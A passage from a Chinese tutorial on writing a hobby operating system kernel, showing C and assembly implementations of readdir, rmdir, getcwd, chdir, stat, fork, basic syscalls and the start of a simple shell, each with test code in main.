25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/* 读取目录,成功返回1个目录项,失败返回NULL */
struct dir_entry* dir_read(struct dir* dir) {
struct dir_entry* dir_e = (struct dir_entry*)dir->dir_buf; // 存储目录项
struct inode* dir_inode = dir->inode;
uint32_t all_blocks[140] = {0}, block_cnt = 12;
uint32_t block_idx = 0, dir_entry_idx = 0;
while (block_idx < 12) {
all_blocks[block_idx] = dir_inode->i_sectors[block_idx];
block_idx++;
}
if (dir_inode->i_sectors[12] != 0) { // 若含有一级间接块表
ide_read(cur_part->my_disk, dir_inode->i_sectors[12], all_blocks + 12, 1);
block_cnt = 140;
}
block_idx = 0;

uint32_t cur_dir_entry_pos = 0; // 当前目录项的偏移,此项用来判断是否是之前已经返回过的目录项
uint32_t dir_entry_size = cur_part->sb->dir_entry_size;
uint32_t dir_entrys_per_sec = SECTOR_SIZE / dir_entry_size; // 1扇区内可容纳的目录项个数
/* 因为此目录内可能删除了某些文件或子目录,所以要遍历所有块 */
while (block_idx < block_cnt) {
if (dir->dir_pos >= dir_inode->i_size) {
return NULL;
}
if (all_blocks[block_idx] == 0) { // 如果此块地址为0,即空块,继续读出下一块
block_idx++;
continue;
}
memset(dir_e, 0, SECTOR_SIZE);
ide_read(cur_part->my_disk, all_blocks[block_idx], dir_e, 1);
dir_entry_idx = 0;
/* 遍历扇区内所有目录项 */
while (dir_entry_idx < dir_entrys_per_sec) {
if ((dir_e + dir_entry_idx)->f_type) { // 如果f_type不等于0,即不等于FT_UNKNOWN
/* 判断是不是最新的目录项,避免返回曾经已经返回过的目录项 */
if (cur_dir_entry_pos < dir->dir_pos) {
cur_dir_entry_pos += dir_entry_size;
dir_entry_idx++;
continue;
}
ASSERT(cur_dir_entry_pos == dir->dir_pos);
dir->dir_pos += dir_entry_size; // 更新为新位置,即下一个返回的目录项地址
return dir_e + dir_entry_idx;
}
dir_entry_idx++;
}
block_idx++;
}
return NULL;
}

实现sys_readdir及sys_rewinddir

readdir原型是struct dirent *readdir(DIR *dirp),我们也是根据此接口进行实现。在遍历目录的时候我们需要用到目录回绕的功能,使目录的游标dir_pos回到0,他与lseek类似,这里我们用rewinddir实现,其原型是void rewinddir(DIR *dirp),下面是系统调用的实现

1
2
3
4
5
6
7
8
9
10
/* 读取目录dir的1个目录项,成功后返回其目录项地址,到目录尾时或出错时返回NULL */
struct dir_entry* sys_readdir(struct dir* dir) {
ASSERT(dir != NULL);
return dir_read(dir);
}

/* 把目录dir的指针dir_pos置0 */
void sys_rewinddir(struct dir* dir) {
dir->dir_pos = 0;
}

下面测试一下,首先打开目录’/dir1/subdir1’,然后输出目录内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int main(void) {
put_str("Welcome to TJ's kernel\n");
init_all();
/******** 测试代码 ********/
struct dir* p_dir = sys_opendir("/dir1/subdir1");
if (p_dir) {
printf("/dir1/subdir1 open done!\ncontent:\n");
char* type = NULL;
struct dir_entry* dir_e = NULL;
while((dir_e = sys_readdir(p_dir))) {
if (dir_e->f_type == FT_REGULAR) {
type = "regular";
} else {
type = "directory";
}
printf(" %s %s\n", type, dir_e->filename);
}
if (sys_closedir(p_dir) == 0) {
printf("/dir1/subdir1 close done!\n");
} else {
printf("/dir1/subdir1 close fail!\n");
}
} else {
printf("/dir1/subdir1 open fail!\n");
}
/******** 测试代码 ********/
while(1);
return 0;
}

结果如下所示

删除目录

在删除目录的时候目录非空的话应有提示,故我们需要在删除目录时先判断目录是否为空,不允许删除非空目录,我们继续改进dir文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/* 判断目录是否为空 */
bool dir_is_empty(struct dir* dir) {
struct inode* dir_inode = dir->inode;
/* 若目录下只有.和..这两个目录项则目录为空 */
return (dir_inode->i_size == cur_part->sb->dir_entry_size * 2);
}

/* 在父目录parent_dir中删除child_dir */
int32_t dir_remove(struct dir* parent_dir, struct dir* child_dir) {
struct inode* child_dir_inode = child_dir->inode;
/* 空目录只在inode->i_sectors[0]中有扇区,其它扇区都应该为空 */
int32_t block_idx = 1;
while (block_idx < 13) {
ASSERT(child_dir_inode->i_sectors[block_idx] == 0);
block_idx++;
}
void* io_buf = sys_malloc(SECTOR_SIZE * 2);
if (io_buf == NULL) {
printk("dir_remove: malloc for io_buf failed\n");
return -1;
}

/* 在父目录parent_dir中删除子目录child_dir对应的目录项 */
delete_dir_entry(cur_part, parent_dir, child_dir_inode->i_no, io_buf);

/* 回收inode中i_secotrs中所占用的扇区,并同步inode_bitmap和block_bitmap */
inode_release(cur_part, child_dir_inode->i_no);
sys_free(io_buf);
return 0;
}

下面实现sys_rmdir,其原型是int rmdir(const char *pathname),首先判断待删除文件是否存在,然后在进行删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/* 删除空目录,成功时返回0,失败时返回-1*/
int32_t sys_rmdir(const char* pathname) {
/* 先检查待删除的文件是否存在 */
struct path_search_record searched_record;
memset(&searched_record, 0, sizeof(struct path_search_record));
int inode_no = search_file(pathname, &searched_record);
ASSERT(inode_no != 0);
int retval = -1;// 默认返回值
if (inode_no == -1) {
printk("In %s, sub path %s not exist\n", pathname, searched_record.searched_path);
} else {
if (searched_record.file_type == FT_REGULAR) {
printk("%s is regular file!\n", pathname);
} else {
struct dir* dir = dir_open(cur_part, inode_no);
if (!dir_is_empty(dir)) { // 非空目录不可删除
printk("dir %s is not empty, it is not allowed to delete a nonempty directory!\n", pathname);
} else {
if (!dir_remove(searched_record.parent_dir, dir)) {
retval = 0;
}
}
dir_close(dir);
}
}
dir_close(searched_record.parent_dir);
return retval;
}

下面继续测试,测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int main(void) {
put_str("Welcome to TJ's kernel\n");
init_all();
/******** 测试代码 ********/
printf("/dir1 content before delete /dir1/subdir1:\n");
struct dir* dir = sys_opendir("/dir1/");
char* type = NULL;
struct dir_entry* dir_e = NULL;
while((dir_e = sys_readdir(dir))) {
if (dir_e->f_type == FT_REGULAR) {
type = "regular";
} else {
type = "directory";
}
printf(" %s %s\n", type, dir_e->filename);
}
printf("try to delete nonempty directory /dir1/subdir1\n");
if (sys_rmdir("/dir1/subdir1") == -1) {
printf("sys_rmdir: /dir1/subdir1 delete fail!\n");
}

printf("try to delete /dir1/subdir1/file2\n");
if (sys_rmdir("/dir1/subdir1/file2") == -1) {
printf("sys_rmdir: /dir1/subdir1/file2 delete fail!\n");
}
if (sys_unlink("/dir1/subdir1/file2") == 0 ) {
printf("sys_unlink: /dir1/subdir1/file2 delete done\n");
}

printf("try to delete directory /dir1/subdir1 again\n");
if (sys_rmdir("/dir1/subdir1") == 0) {
printf("/dir1/subdir1 delete done!\n");
}

printf("/dir1 content after delete /dir1/subdir1:\n");
sys_rewinddir(dir);
while((dir_e = sys_readdir(dir))) {
if (dir_e->f_type == FT_REGULAR) {
type = "regular";
} else {
type = "directory";
}
printf(" %s %s\n", type, dir_e->filename);
}

/******** 测试代码 ********/
while(1);
return 0;
}

测试结果如下,目前根目录存在file1文件和目录dir1,dir1存在subdir1,subbdir1中存在file2,先直接删除/dir1/subdir1目录,因为目录非空会失败,接下来通过sys_rmdir和sys_unlink分别删除/dir1/subdir1/file2,最后删除/dir1/subdir1,然后再次输出/dir1内容

任务工作目录

接下来我们需要实现Linux中的pwd功能,显示当前工作目录和cd切换目录的功能。其中重点是”..”获取父目录,我们循环使用获取父目录的函数,直到获取到根目录为止就可以获取到绝对路径,下面逐步实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/* 获得父目录的inode编号 */
static uint32_t get_parent_dir_inode_nr(uint32_t child_inode_nr, void* io_buf) {
struct inode* child_dir_inode = inode_open(cur_part, child_inode_nr);
/* 目录中的目录项".."中包括父目录inode编号,".."位于目录的第0块 */
uint32_t block_lba = child_dir_inode->i_sectors[0];
ASSERT(block_lba >= cur_part->sb->data_start_lba);
inode_close(child_dir_inode);
ide_read(cur_part->my_disk, block_lba, io_buf, 1);
struct dir_entry* dir_e = (struct dir_entry*)io_buf;
/* 第0个目录项是".",第1个目录项是".." */
ASSERT(dir_e[1].i_no < 4096 && dir_e[1].f_type == FT_DIRECTORY);
return dir_e[1].i_no; // 返回..即父目录的inode编号
}

/* 在inode编号为p_inode_nr的目录中查找inode编号为c_inode_nr的子目录的名字,
* 将名字存入缓冲区path.成功返回0,失败返-1 */
static int get_child_dir_name(uint32_t p_inode_nr, uint32_t c_inode_nr, char* path, void* io_buf) {
struct inode* parent_dir_inode = inode_open(cur_part, p_inode_nr);
/* 填充all_blocks,将该目录的所占扇区地址全部写入all_blocks */
uint8_t block_idx = 0;
uint32_t all_blocks[140] = {0}, block_cnt = 12;
while (block_idx < 12) {
all_blocks[block_idx] = parent_dir_inode->i_sectors[block_idx];
block_idx++;
}
if (parent_dir_inode->i_sectors[12]) {// 若包含了一级间接块表,将共读入all_blocks.
ide_read(cur_part->my_disk, parent_dir_inode->i_sectors[12], all_blocks + 12, 1);
block_cnt = 140;
}
inode_close(parent_dir_inode);

struct dir_entry* dir_e = (struct dir_entry*)io_buf;
uint32_t dir_entry_size = cur_part->sb->dir_entry_size;
uint32_t dir_entrys_per_sec = (512 / dir_entry_size);
block_idx = 0;
/* 遍历所有块 */
while(block_idx < block_cnt) {
if(all_blocks[block_idx]) { // 如果相应块不为空则读入相应块
ide_read(cur_part->my_disk, all_blocks[block_idx], io_buf, 1);
uint8_t dir_e_idx = 0;
/* 遍历每个目录项 */
while(dir_e_idx < dir_entrys_per_sec) {
if ((dir_e + dir_e_idx)->i_no == c_inode_nr) {
strcat(path, "/");
strcat(path, (dir_e + dir_e_idx)->filename);
return 0;
}
dir_e_idx++;
}
}
block_idx++;
}
return -1;
}

下面是sys_getcwd的实现,其原型是char *getcwd(char *buf, size_t size),buf若用户不提供就传入NULL,系统用malloc自动分配缓冲区,具体实现如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/* 把当前工作目录绝对路径写入buf, size是buf的大小. 
当buf为NULL时,由操作系统分配存储工作路径的空间并返回地址
失败则返回NULL */
char* sys_getcwd(char* buf, uint32_t size) {
/* 确保buf不为空,若用户进程提供的buf为NULL,
系统调用getcwd中要为用户进程通过malloc分配内存 */
ASSERT(buf != NULL);
void* io_buf = sys_malloc(SECTOR_SIZE);
if (io_buf == NULL) {
return NULL;
}

struct task_struct* cur_thread = running_thread();
int32_t parent_inode_nr = 0;
int32_t child_inode_nr = cur_thread->cwd_inode_nr;
ASSERT(child_inode_nr >= 0 && child_inode_nr < 4096); // 最大支持4096个inode
/* 若当前目录是根目录,直接返回'/' */
if (child_inode_nr == 0) {
buf[0] = '/';
buf[1] = 0;
return buf;
}

memset(buf, 0, size);
char full_path_reverse[MAX_PATH_LEN] = {0}; // 用来做全路径缓冲区

/* 从下往上逐层找父目录,直到找到根目录为止.
* 当child_inode_nr为根目录的inode编号(0)时停止,
* 即已经查看完根目录中的目录项 */
while ((child_inode_nr)) {
parent_inode_nr = get_parent_dir_inode_nr(child_inode_nr, io_buf);
if (get_child_dir_name(parent_inode_nr, child_inode_nr, full_path_reverse, io_buf) == -1) { // 或未找到名字,失败退出
sys_free(io_buf);
return NULL;
}
child_inode_nr = parent_inode_nr;
}
ASSERT(strlen(full_path_reverse) <= size);
/* 至此full_path_reverse中的路径是反着的,
* 即子目录在前(左),父目录在后(右) ,
* 现将full_path_reverse中的路径反置 */
char* last_slash;// 用于记录字符串中最后一个斜杠地址
while ((last_slash = strrchr(full_path_reverse, '/'))) {
uint16_t len = strlen(buf);
strcpy(buf + len, last_slash);
/* 在full_path_reverse中添加结束字符,做为下一次执行strcpy中last_slash的边界 */
*last_slash = 0;
}
sys_free(io_buf);
return buf;
}

Linux中采用chdir改变当前工作目录,原型是int chdir(const char *path),我们先实现接口sys_chdir

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/* 更改当前工作目录为绝对路径path,成功则返回0,失败返回-1 */
int32_t sys_chdir(const char* path) {
int32_t ret = -1;
struct path_search_record searched_record;
memset(&searched_record, 0, sizeof(struct path_search_record));
int inode_no = search_file(path, &searched_record);
if (inode_no != -1) {
if (searched_record.file_type == FT_DIRECTORY) {
running_thread()->cwd_inode_nr = inode_no;
ret = 0;
} else {
printk("sys_chdir: %s is regular file or other!\n", path);
}
}
dir_close(searched_record.parent_dir);
return ret;
}

任务工作目录记录在PCB中的cwd_incode_nr中,修改工作目录的核心即修改cwd_incode_nr,接下来在main中进行测试,首先获取当前工作目录并输出,然后将目录改为/dir1,最后再次获得目录并输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int main(void) {
put_str("Welcome to TJ's kernel\n");
init_all();
/******** 测试代码 ********/
char cwd_buf[32] = {0};
sys_getcwd(cwd_buf, 32);
printf("cwd:%s\n", cwd_buf);
sys_chdir("/dir1");
printf("change cwd now\n");
sys_getcwd(cwd_buf, 32);
printf("cwd:%s\n", cwd_buf);
/******** 测试代码 ********/
while(1);
return 0;
}

测试结果如下

获得文件属性

在Linux中输入ls -l命令查看目录的时候不仅显示目录中文件,还显示了属性信息,其底层实现是反复使用系统调用write和stat64,其中stat64负责获得文件的属性信息,是64位版本的stat函数,write负责打印信息到屏幕,首先我们需要实现sys_stat,结构体添加如下

1
2
3
4
5
6
/* 文件属性结构体 */
struct stat {
uint32_t st_ino; // inode编号
uint32_t st_size; // 尺寸c
enum file_types st_filetype; // 文件类型
};

下面是具体实现,首先path判断是否为根目录,如果是就直接在buf中写入根目录信息,若不是则进一步获取信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* 在buf中填充文件结构相关信息,成功时返回0,失败返回-1 */
int32_t sys_stat(const char* path, struct stat* buf) {
/* 若直接查看根目录'/' */
if (!strcmp(path, "/") || !strcmp(path, "/.") || !strcmp(path, "/..")) {
buf->st_filetype = FT_DIRECTORY;
buf->st_ino = 0;
buf->st_size = root_dir.inode->i_size;
return 0;
}

int32_t ret = -1;// 默认返回值
struct path_search_record searched_record;
memset(&searched_record, 0, sizeof(struct path_search_record)); // 记得初始化或清0,否则栈中信息不知道是什么
int inode_no = search_file(path, &searched_record);
if (inode_no != -1) {
struct inode* obj_inode = inode_open(cur_part, inode_no); // 只为获得文件大小
buf->st_size = obj_inode->i_size;
inode_close(obj_inode);
buf->st_filetype = searched_record.file_type;
buf->st_ino = inode_no;
ret = 0;
} else {
printk("sys_stat: %s not found\n", path);
}
dir_close(searched_record.parent_dir);
return ret;
}

接下来在main中测试,分别获取根目录和/dir目录的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int main(void) {
put_str("Welcome to TJ's kernel\n");
init_all();
/******** 测试代码 ********/
struct stat obj_stat;
sys_stat("/", &obj_stat);
printf("/`s info\n i_no:%d\n size:%d\n filetype:%s\n", \
obj_stat.st_ino, obj_stat.st_size, \
obj_stat.st_filetype == 2 ? "directory" : "regular");
sys_stat("/dir1", &obj_stat);
printf("/dir1`s info\n i_no:%d\n size:%d\n filetype:%s\n", \
obj_stat.st_ino, obj_stat.st_size, \
obj_stat.st_filetype == 2 ? "directory" : "regular");
/******** 测试代码 ********/
while(1);
return 0;
}

测试结果如下

系统交互

fork的原理

fork原型是pid_t fork(void),我们首先测试一段代码,观察其性质

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <unistd.h>
#include <stdio.h>
int main()
{
int pid = fork();

if (pid == -1)
return -1;

if (pid)
{
printf("I am father, my pid is %d\n", getpid());
return 0;
}
else
{
printf("I am child, my pid is %d\n", getpid());
return 0;
}
}

下面是与运行结果,你会发现if和else分支都执行了

1
2
I am father, my pid is 103461
I am child, my pid is 103462

fork的作用是克隆进程,它有三个返回值

  • 该进程为父进程时,返回子进程的pid
  • 该进程为子进程时,返回0
  • fork执行失败,返回-1

进程是运行的程序,比如程序a运行变成了进程a,同时又加载了一次程序a到内存,就有两个一模一样的程序体,但用户输入不同,就会有不同的执行分支。总结来说fork就是克隆进程,克隆的进程称为子进程,和父进程的区别就是子进程是在fork返回之后开始执行的,上例fork之后子进程和父进程的下一个执行语句都为if (pid == -1)

fork的实现

fork就是把某个进程的全部资源复制了一份,然后让处理器的cs:eip寄存器指向新进程的指令部分,故fork需要先复制资源,然后跳过去执行,复制的资源包括

  • 进程的PCB
  • 程序体
  • 用户栈
  • 内核栈
  • 虚拟地址池
  • 页表

克隆进程的执行只需要将其放入就绪队列即可,下面是一些拷贝操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
/* 将父进程的pcb、虚拟地址位图拷贝给子进程 */
static int32_t copy_pcb_vaddrbitmap_stack0(struct task_struct* child_thread, struct task_struct* parent_thread) {
/* a 复制pcb所在的整个页,里面包含进程pcb信息及特级0极的栈,里面包含了返回地址, 然后再单独修改个别部分 */
memcpy(child_thread, parent_thread, PG_SIZE);
child_thread->pid = fork_pid();
child_thread->elapsed_ticks = 0;
child_thread->status = TASK_READY;
child_thread->ticks = child_thread->priority; // 为新进程把时间片充满
child_thread->parent_pid = parent_thread->pid;
child_thread->general_tag.prev = child_thread->general_tag.next = NULL;
child_thread->all_list_tag.prev = child_thread->all_list_tag.next = NULL;
block_desc_init(child_thread->u_block_desc);
/* b 复制父进程的虚拟地址池的位图 */
uint32_t bitmap_pg_cnt = DIV_ROUND_UP((0xc0000000 - USER_VADDR_START) / PG_SIZE / 8 , PG_SIZE);
void* vaddr_btmp = get_kernel_pages(bitmap_pg_cnt);
if (vaddr_btmp == NULL) return -1;
/* 此时child_thread->userprog_vaddr.vaddr_bitmap.bits还是指向父进程虚拟地址的位图地址
* 下面将child_thread->userprog_vaddr.vaddr_bitmap.bits指向自己的位图vaddr_btmp */
memcpy(vaddr_btmp, child_thread->userprog_vaddr.vaddr_bitmap.bits, bitmap_pg_cnt * PG_SIZE);
child_thread->userprog_vaddr.vaddr_bitmap.bits = vaddr_btmp;
/* 调试用 */
ASSERT(strlen(child_thread->name) < 11);// pcb.name的长度是16,为避免下面strcat越界
strcat(child_thread->name,"_fork");
return 0;
}

/* 复制子进程的进程体(代码和数据)及用户栈 */
static void copy_body_stack3(struct task_struct* child_thread, struct task_struct* parent_thread, void* buf_page) {
uint8_t* vaddr_btmp = parent_thread->userprog_vaddr.vaddr_bitmap.bits;
uint32_t btmp_bytes_len = parent_thread->userprog_vaddr.vaddr_bitmap.btmp_bytes_len;
uint32_t vaddr_start = parent_thread->userprog_vaddr.vaddr_start;
uint32_t idx_byte = 0;
uint32_t idx_bit = 0;
uint32_t prog_vaddr = 0;

/* 在父进程的用户空间中查找已有数据的页 */
while (idx_byte < btmp_bytes_len) {
if (vaddr_btmp[idx_byte]) {
idx_bit = 0;
while (idx_bit < 8) {
if ((BITMAP_MASK << idx_bit) & vaddr_btmp[idx_byte]) {
prog_vaddr = (idx_byte * 8 + idx_bit) * PG_SIZE + vaddr_start;
/* 下面的操作是将父进程用户空间中的数据通过内核空间做中转,最终复制到子进程的用户空间 */

/* a 将父进程在用户空间中的数据复制到内核缓冲区buf_page,
目的是下面切换到子进程的页表后,还能访问到父进程的数据*/
memcpy(buf_page, (void*)prog_vaddr, PG_SIZE);

/* b 将页表切换到子进程,目的是避免下面申请内存的函数将pte及pde安装在父进程的页表中 */
page_dir_activate(child_thread);
/* c 申请虚拟地址prog_vaddr */
get_a_page_without_opvaddrbitmap(PF_USER, prog_vaddr);

/* d 从内核缓冲区中将父进程数据复制到子进程的用户空间 */
memcpy((void*)prog_vaddr, buf_page, PG_SIZE);

/* e 恢复父进程页表 */
page_dir_activate(parent_thread);
}
idx_bit++;
}
}
idx_byte++;
}
}

父进程调用fork时会进入内核态进行系统调用,中断入口程序会保存父进程的上下文和cs:ip,因此才会正常返回执行后面的代码,子进程要从fork后开始执行,就需要和父进程一样从中断退出,经过intr_exit,下面是具体实现部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
/* 为子进程构建thread_stack和修改返回值 */
static int32_t build_child_stack(struct task_struct* child_thread) {
/* a 使子进程pid返回值为0 */
/* 获取子进程0级栈栈顶 */
struct intr_stack* intr_0_stack = (struct intr_stack*)((uint32_t)child_thread + PG_SIZE - sizeof(struct intr_stack));
/* 修改子进程的返回值为0 */
intr_0_stack->eax = 0;

/* b 为switch_to 构建 struct thread_stack,将其构建在紧临intr_stack之下的空间*/
uint32_t* ret_addr_in_thread_stack = (uint32_t*)intr_0_stack - 1;

/*** 这三行不是必要的,只是为了梳理thread_stack中的关系 ***/
uint32_t* esi_ptr_in_thread_stack = (uint32_t*)intr_0_stack - 2;
uint32_t* edi_ptr_in_thread_stack = (uint32_t*)intr_0_stack - 3;
uint32_t* ebx_ptr_in_thread_stack = (uint32_t*)intr_0_stack - 4;
/**********************************************************/

/* ebp在thread_stack中的地址便是当时的esp(0级栈的栈顶),
即esp为"(uint32_t*)intr_0_stack - 5" */
uint32_t* ebp_ptr_in_thread_stack = (uint32_t*)intr_0_stack - 5;

/* switch_to的返回地址更新为intr_exit,直接从中断返回 */
*ret_addr_in_thread_stack = (uint32_t)intr_exit;

/* 下面这两行赋值只是为了使构建的thread_stack更加清晰,其实也不需要,
* 因为在进入intr_exit后一系列的pop会把寄存器中的数据覆盖 */
*ebp_ptr_in_thread_stack = *ebx_ptr_in_thread_stack =\
*edi_ptr_in_thread_stack = *esi_ptr_in_thread_stack = 0;
/*********************************************************/

/* 把构建的thread_stack的栈顶做为switch_to恢复数据时的栈顶 */
child_thread->self_kstack = ebp_ptr_in_thread_stack;
return 0;
}

/* 更新inode打开数 */
static void update_inode_open_cnts(struct task_struct* thread) {
int32_t local_fd = 3, global_fd = 0;
while (local_fd < MAX_FILES_OPEN_PER_PROC) {
global_fd = thread->fd_table[local_fd];
ASSERT(global_fd < MAX_FILE_OPEN);
if (global_fd != -1) {
file_table[global_fd].fd_inode->i_open_cnts++;
}
local_fd++;
}
}

/* 拷贝父进程本身所占资源给子进程 */
static int32_t copy_process(struct task_struct* child_thread, struct task_struct* parent_thread) {
/* 内核缓冲区,作为父进程用户空间的数据复制到子进程用户空间的中转 */
void* buf_page = get_kernel_pages(1);
if (buf_page == NULL) {
return -1;
}

/* a 复制父进程的pcb、虚拟地址位图、内核栈到子进程 */
if (copy_pcb_vaddrbitmap_stack0(child_thread, parent_thread) == -1) {
return -1;
}

/* b 为子进程创建页表,此页表仅包括内核空间 */
child_thread->pgdir = create_page_dir();
if(child_thread->pgdir == NULL) {
return -1;
}

/* c 复制父进程进程体及用户栈给子进程 */
copy_body_stack3(child_thread, parent_thread, buf_page);

/* d 构建子进程thread_stack和修改返回值pid */
build_child_stack(child_thread);

/* e 更新文件inode的打开数 */
update_inode_open_cnts(child_thread);

mfree_page(PF_KERNEL, buf_page, 1);
return 0;
}

下面我们添加fork系统调用和init进程初始化,init是用户级进程,是第一个启用的程序,其pid为1,也就是所有进程的父进程。fork系统调用的实现步骤如下

  • 在syscall.h中添加系统调用号SYS_FORK
  • 在syscall.c中添加fork(),原型是pid_t fork(void)
  • 在syscall-init.c中的函数syscall_init中添加初始化

下面是main.c中添加init进程代码

1
2
3
4
5
6
7
8
9
10
/* init进程 */
void init(void) {
uint32_t ret_pid = fork();
if(ret_pid) {
printf("i am father, my pid is %d, child pid is %d\n", getpid(), ret_pid);
} else {
printf("i am child, my pid is %d, ret pid is %d\n", getpid(), ret_pid);
}
while(1);
}

为了争夺pid为1的进程,我们需要修改thread.c中的代码,在创建主线程之前就创建init进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* 初始化线程环境 */
void thread_init(void) {
put_str("thread_init start\n");

list_init(&thread_ready_list);
list_init(&thread_all_list);
lock_init(&pid_lock);

/* 先创建第一个用户进程:init */
process_execute(init, "init"); // 放在第一个初始化,这是第一个进程,init进程的pid为1

/* 将当前main函数创建为线程 */
make_main_thread();

/* 创建idle线程 */
idle_thread = thread_start("idle", 10, idle, NULL);

put_str("thread_init done\n");
}

编译测试效果如下

添加read、putchar、clear系统调用

下面添加一些其他系统调用,因为在后面shell交互的时候我们需要知道用户的输入,所以我们首先添加read系统调用,我们先修改sys_read让其支持键盘,后面几步就是添加read原型ssize_t read(int fd, void *buf, size_t count),添加系统调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/* 从文件描述符fd指向的文件中读取count个字节到buf,若成功则返回读出的字节数,到文件尾则返回-1 */
int32_t sys_read(int32_t fd, void* buf, uint32_t count) {
ASSERT(buf != NULL);
int32_t ret = -1;
if (fd < 0 || fd == stdout_no || fd == stderr_no) {
printk("sys_read: fd error\n");
} else if (fd == stdin_no) { // 标准输入stdin_no的处理
char* buffer = buf;
uint32_t bytes_read = 0;
while (bytes_read < count) {
*buffer = ioq_getchar(&kbd_buf); // 每次从键盘缓冲区kdb_buf中获取1个字符,直到count个字符为止
bytes_read++;
buffer++;
}
ret = (bytes_read == 0 ? -1 : (int32_t)bytes_read);
} else {
uint32_t _fd = fd_local2global(fd);
ret = file_read(&file_table[_fd], buf, count);
}
return ret;
}

下面是putchar和clear的函数,其中putchar原型是int putchar(int c),我们可以直接用现有的console_put_char函数。对于clear操作,涉及到清屏,就需要用汇编实现,具体内容在print.S中,如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
global cls_screen
cls_screen:
pushad
;;;;;;;;;;;;;;;
; 由于用户程序的cpl为3,显存段的dpl为0,故用于显存段的选择子gs在低于自己特权的环境中为0,
; 导致用户程序再次进入中断后,gs为0,故直接在put_str中每次都为gs赋值.
mov ax, SELECTOR_VIDEO ; 不能直接把立即数送入gs,须由ax中转
mov gs, ax

mov ebx, 0
mov ecx, 80*25
.cls:
mov word [gs:ebx], 0x0720 ;0x0720是黑底白字的空格键
add ebx, 2
loop .cls
mov ebx, 0

.set_cursor: ;直接把set_cursor搬过来用,省事
;;;;;;; 1 先设置高8位 ;;;;;;;;
mov dx, 0x03d4 ;索引寄存器
mov al, 0x0e ;用于提供光标位置的高8位
out dx, al
mov dx, 0x03d5 ;通过读写数据端口0x3d5来获得或设置光标位置
mov al, bh
out dx, al

;;;;;;; 2 再设置低8位 ;;;;;;;;;
mov dx, 0x03d4
mov al, 0x0f
out dx, al
mov dx, 0x03d5
mov al, bl
out dx, al
popad
ret

下面是系统调用的添加,后面的一些操作和上面类似,就不具体列出了

1
2
3
4
5
6
7
8
9
/* 输出一个字符 */
void putchar(char char_asci) {
_syscall1(SYS_PUTCHAR, char_asci);
}

/* 清空屏幕 */
void clear(void) {
_syscall0(SYS_CLEAR);
}

shell的实现

接下来我们需要实现shell,支持一些简单的命令,和之前的代码联系起来,我们的shell实现新建一个shell目录,用shell.c和.h进行具体实现,其中比较关键的函数是readline,主要通过循环一个字符一个字符读取到pos中,然后进行判断处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#define cmd_len 128   // 最大支持键入128个字符的命令行输入
#define MAX_ARG_NR 16 // 加上命令名外,最多支持15个参数

/* 存储输入的命令 */
static char cmd_line[cmd_len] = {0};

/* 用来记录当前目录,是当前目录的缓存,每次执行cd命令时会更新此内容 */
char cwd_cache[64] = {0};

/* 输出提示符 */
void print_prompt(void) {
printf("[rabbit@localhost %s]$ ", cwd_cache);
}

/* 从键盘缓冲区中最多读入count个字节到buf。*/
static void readline(char* buf, int32_t count) {
assert(buf != NULL && count > 0);
char* pos = buf;
while (read(stdin_no, pos, 1) != -1 && (pos - buf) < count) { // 在不出错情况下,直到找到回车符才返回
switch (*pos) {
/* 找到回车或换行符后认为键入的命令结束,直接返回 */
case '\n':
case '\r':
*pos = 0; // 添加cmd_line的终止字符0
putchar('\n');
return;

case '\b':
if (buf[0] != '\b') {// 阻止删除非本次输入的信息
--pos; // 退回到缓冲区cmd_line中上一个字符
putchar('\b');
}
break;

/* 非控制键则输出字符 */
default:
putchar(*pos);
pos++;
}
}
printf("readline: can`t find enter_key in the cmd_line, max num of char is 128\n");
}

/* 简单的shell */
void my_shell(void) {
cwd_cache[0] = '/';
while (1) {
print_prompt();
memset(cmd_line, 0, cmd_len);
readline(cmd_line, cmd_len);
if (cmd_line[0] == 0) { // 若只键入了一个回车
continue;
}
}
panic("my_shell: should not be here");
}

下面在main中测试一下

1
2
3
4
5
6
7
8
int main(void) {
put_str("Welcome to TJ's kernel\n");
init_all();
cls_screen();
console_put_str("[rabbit@localhost /]$ ");
while(1);
return 0;
}

